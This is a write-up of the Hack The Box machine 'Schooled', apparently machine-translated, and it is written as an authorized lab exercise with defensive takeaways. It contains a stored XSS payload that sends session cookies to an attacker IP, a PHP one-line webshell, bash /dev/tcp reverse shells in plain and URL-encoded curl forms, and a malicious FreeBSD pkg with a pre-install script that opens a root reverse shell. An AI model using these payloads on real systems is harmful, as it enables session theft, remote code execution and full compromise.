HTB Schooled: Stored XSS on Moodle at Root on FreeBSD

Hack The Box Schooled Write-Up: from Stored XSS on Moodle to webshell, MySQL credentials and privilege escalation to root on FreeBSD via pkg.
- Posted on 2026-09-07
- Reading time: 8 min
HTB Schooled Walkthrough: Moodle and Privilege Escalation hack on FreeBSD #
Schooled is a FreeBSD machine from HackTheBox, and it lines up several "medium" vulnerabilities instead of targeting a single devastating bug. It starts with a Stored XSS on a Moodle instance, moves on to privilege escalation in user roles, ends with a specially loaded plugin that provides a webshell, and ends up stealing passwords from the database and then exploiting pkg, the FreeBSD package manager, to become root. It's also a good example of how much time, in a real pentest, is wasted on fruitless attempts before finding the right path.
Initial Recon #
We start with a port scan. On Hackita, we use mynmap , our nmap wrapper:
mynmap -p- --full <IP-target>Three open ports: SSH (22), HTTP (80) and an unusual port, 33060, the MySQL X (mysqlx) protocol — a clue that a relatively recent MySQL is running behind it. The service details confirm Apache/2.4.46 (FreeBSD) PHP/7.4.15: the operating system is FreeBSD, not Linux. It changes a lot in privilege escalation — webroot is not /var/www/html ma /usr/local/www/apache24/data, just to name one.
Web enumeration: more failed attempts than discoveries #
A run with the usual content discovery tools (ffuf, nikto) on port 80 doesn't reveal much—no suspicious directories, no forgotten endpoints. You'll need to look at the site manually.
The homepage is that of a school. Browsing through the pages—the "Teachers" section, student testimonials—you'll find some plausible usernames, which will be useful later. The "About Us" page explicitly mentions that the educational content is delivered via Moodle, but without any directory appearing /moodle in the content discovery done just before: the suspicion is that it is a separate virtual host, not a subfolder.
A virtual host bruteforce (header Host: FUZZ.schooled.htb) confirms the hypothesis: moodle.schooled.htb responds with the actual Moodle installation.
Before registering, it's worth trying guest access, if enabled — it doesn't do anything here, as access remains blocked for most content.
Registration and version search #
Moodle allows self-service registration, but only with emails ending in @student.schooled.htb —a form-side restriction, not verified via email, so it can be circumvented simply by choosing an address with that domain. Once this is done, you'll be able to access a free-to-enroll course (Mathematics)—other courses remain blocked.
Before looking for specific vulnerabilities, it is worth knowing which version Moodle runs on the target — otherwise, you risk testing for inapplicable CVEs. The site itself doesn't state this anywhere (no footer, no "about" page with the version number). However, Moodle is open source: the code is public on GitHub, and some files in the repository are purely textual, not executable on the server side — so they remain readable even on a live installation. The changelog lib/upgrade.txt, for example: opening it via browser on /moodle/lib/upgrade.txt, the first line declares the current version, in this case 3.9.
With that precise number, you can filter the official Moodle security page instead of trying blindly—and that's where a warning relevant to version 3.9 pops up, regarding a permissions issue in roles (see below).
Logging and stored XSS #
Within the course, an announcement from the instructor explicitly asks students to update their "MoodleNet" profile, specifying that he will monitor it himself. This is a perfect invitation to test for stored XSS : that field, in this version of Moodle, doesn't sanitize input properly (CVE-2020-25627), and we already know that someone (the instructor) will visit it.
The HttpOnly Anecdote #
The payload used to steal the session:
<script>
var i = new Image;
i.src = "http://10.10.14.198/xss.php?" + document.cookie;
</script>document.cookie Returns all JavaScript-readable cookies for that page. The point is: it only works if the cookie immense has the flag HttpOnly active. That flag, if set by the server in the header Set-Cookie, explicitly prevents JavaScript from reading the cookie — this is the standard countermeasure against this kind of XSS theft. On modern, well-configured applications, it's almost always present on session cookies; on this version of Moodle, it's not, which is why the attack works. A good example of how the absence of a single security header turns a "merely" annoying XSS attack into a full-blown session theft.
With a simple listener listening on the port used in the payload, the teacher's cookie appears in the request log. It can be replaced with your own directly in the browser's DevTools: Application tab → Cookies , double-click the session cookie value, and paste it. No additional tools are required; it's the fastest way to create a single static cookie.
With that cookie you get access as the teacher of the platform.
Privilege escalation in Moodle roles #
There's not much you can do directly with the teacher account, and in fact, manually navigating the menus doesn't lead to anything exploitable. The security warning found earlier is useful: CVE-2020-14321, a permissions bug that allows a teacher to self-assign the manager role within a course to which they already have enrollment access.
The mechanism, in summary:
- From the course's "Participants" panel, another user is manually registered (an existing manager on the site—the institute's main page provides a plausible name for that role).
- By intercepting the request with Burp, the parameter is modified
roletoassignto assign the manager role to your account as well, using the same AJAX registration endpoint. - By gaining manager status on a course, the site administrator is also registered as a student in the same course, so you can reach them from the participant panel and use the “Log in as” function to impersonate them directly.
- Impersonating the administrator, you can modify the permissions of the Manager role itself via “Define roles” (again intercepting the save request with Burp), unlocking the ability to install plugins — a permission that a manager does not have by default.
Note: There is a periodic task running on the machine that resets the subscription every minute or so, so it's a good idea to keep requests ready in Burp Repeater to quickly relaunch them if they time out.
A custom plugin for the webshell #
A Moodle plugin is a ZIP archive with a specific folder structure: a file version.php with the metadata and the actual application logic. With the administrator permissions obtained in the previous step, you can build a minimal plugin from scratch—no need to download a ready-made one—with a single line of PHP that executes commands passed via a GET parameter:
<?php system($_GET['cmd']); ?>
Packaged according to the required structure and loaded from the “Plugins → Install plugins” panel, Moodle extracts it inside /blocks/, making it accessible via HTTP:
curl "http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=id"
# uid=80(www) gid=80(www) groups=80(www)Remote execution confirmed.
Reverse shell like www #
The bash command to be executed must be passed as a parameter cmd in the URL — and it must be URL-encoded correctly, because characters like >, & and spaces have a special meaning in both URLs and bash.
The most direct way: write the command in plain text, paste it into an online encoder (e.g., urlencoder.org), copy the encoded output, and use it as a query string:
/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.198/443 0>&1'becomes (encoded):
%2Fbin%2Fbash%20-c%20%27%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.198%2F443%200%3E%261%27To be used like this:
curl "http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=<COMANDO_ENCODATO>"Alternatively, curl can do the encoding itself with -G e --data-urlencode:
curl -G --data-urlencode "cmd=/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.198/443 0>&1'" \
"http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php"-G force curl to send the passed data with --data-urlencode as a GET query string instead of a POST body, and it takes care of encoding each special character correctly — avoiding the typical mistakes made when coding by hand (forgetting a character, leaving unnecessary quotes).
On the listener side:
nc -lvnp 443And the shell comes as user www, the same one that runs the Apache web server — not root, but the foot in the door.
Escalation to Jamie: Credentials from the database #
The file config.php from Moodle, user-readable www, contains the database credentials:
$CFG->dbuser = 'moodle';
$CFG->dbpass = 'PlaybookMaster2020';The client mysql, however, it is not in the PATH of this minimal shell obtained via webshell — a trivial detail but one that takes a few minutes if you don't think about it right away. find / -name mysql -type f 2>/dev/null locates it, and can be called with the absolute path (or temporarily export a PATH more complete).
Connecting to the MySQL databases local with the credentials found, the table mdl_user returns the username, email, and bcrypt hash of the passwords of all registered users. There are quite a few lines—blindly cracking them all with bcrypt (a notoriously slow hash to bruteforce) would be a huge waste of time. It's worth considering which account is worth attacking first: most of the usernames in the table are clearly Moodle "application" accounts; they don't correspond to any real system user—except one, admin, whose email address matches a staff domain. He's the most promising candidate.
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txtPassword found, and it also works for SSH login as real system user — it recovers user.txt.
From standard user to root: Abusing pkg #
sudo -l shows that the user can execute two commands related to without password pkg, the FreeBSD package manager: pkg update e pkg install *. This is exactly the scenario described on GTFOBins for pkg: if a binary can be run with sudo and supports installing local packages with a pre-installation script, that script runs with the same elevated privileges as it runs with pkg — that is, root.
What's going on under the hood of a FreeBSD package #
A package pkg It comes from a few essential elements, as he explains well this guide on lastsummer.de: a temporary staging folder, a file +MANIFEST with the package metadata (name, version, author), and optionally one or more lifecycle scripts — +PRE_INSTALL, +POST_INSTALL, +PRE_DEINSTALL, +POST_DEINSTALL — which the package manager automatically executes in the respective phases. Everything is then assembled with pkg create -m <staging>/ -r <staging>/ -p <staging>/plist -o ..
Building these files by hand is feasible but requires attention to formatting details. fpm, the tool we use below, automates exactly this process: it generates the manifest and places the script we pass to it as +PRE_INSTALL (thanks to the flag --before-install), saving you from manual writing.
The tool that simplifies the creation of the malicious package is fpm (Effing Package Manager), installable with gem:
sudo gem install fpmCreate a script that opens a reverse shell:
echo "bash -c '/bin/bash -i -p >& /dev/tcp/10.10.14.198/80 0>&1'" > x.sh
chmod +x x.shAnd it packages as a FreeBSD package, specifying that script as --before-install — will be executed before the actual installation of the package:
mkdir pkgbuild && cd pkgbuild
fpm -n x -s dir -t freebsd -a all --before-install ../x.sh .A practical detail to keep in mind: the source folder (-s dir .) cannot match the temporary work folder fpm (which by default is /tmp) — otherwise fpm gets into a loop trying to pack its own staging area, and returns a cryptic-looking error the first time you read it. Just work in a dedicated subfolder instead of directly in /tmp.
The generated package (x-1.0.txz) must be transferred to the victim machine — a simple nc listening on your host, with a nc Sending from the victim side works well for a single binary file. Once on the machine:
sudo /usr/sbin/pkg install -y --no-repo-update ./x-1.0.txzThe flag to prevent remote repository updates is not just a convenience feature: without, pkg Try contacting the default FreeBSD repository before proceeding, and if that repository is unreachable (as here) the installation will crash with an error before even getting to the script.
With a listener nc ready on the port indicated in the script, the connection arrives as root — because the script --before-install he goes around with the privileges with which pkg itself was invoked via sudo.
From there, cat root.txt he closes the car.
What to bring home #
Schooled combines a web application-level privilege escalation chain with a completely different operating system-level privilege. A few points to remember:
- Automatic content discovery doesn't always find everything—sometimes a subdirectory is actually a separate virtual host, and you can only discover this by reading the site by hand.
- A single unsanitized input field (the MoodleNet profile) was enough for a stored XSS, and the absence of the flag
HttpOnlyon the session cookie turned that XSS into a full-blown session theft. - Authorization logic in systems with complex roles (like Moodle) should always be tested at the edges: an endpoint designed to enroll students can, with manipulated parameters, assign much more privileged roles.
- Cracking hashes blindly is almost always the wrong way to go: figuring out which usernames are likely to match a system account can save hours, especially with slow algorithms like bcrypt.
- On FreeBSD, a package manager whitelisted in sudoers opens a direct path to root via package pre/post installation scripts — the same principle applies to
apt,yumedpkgon Linux, documented for each on GTFOBins.
FAQ #
Why does the HttpOnly flag protect against cookie theft via XSS?
Because it prevents JavaScript, including that injected via XSS, from reading the cookie value via document.cookieThe cookie is still sent automatically by the browser in HTTP requests, but it is not accessible on the script side.
Why is it needed -G together with --data-urlencode in curl?
Why --data-urlencode By itself it would send the data as the body of a POST request. -G tells curl to use them as query strings instead of a GET, appending them to the URL after auto-encoding.
Is it legal to exploit public CVEs on boxes like this? Yes, if done in authorized environments like HackTheBox, VulnLab, or personal labs. Exploiting the same techniques on real systems without explicit authorization is illegal in almost all jurisdictions.








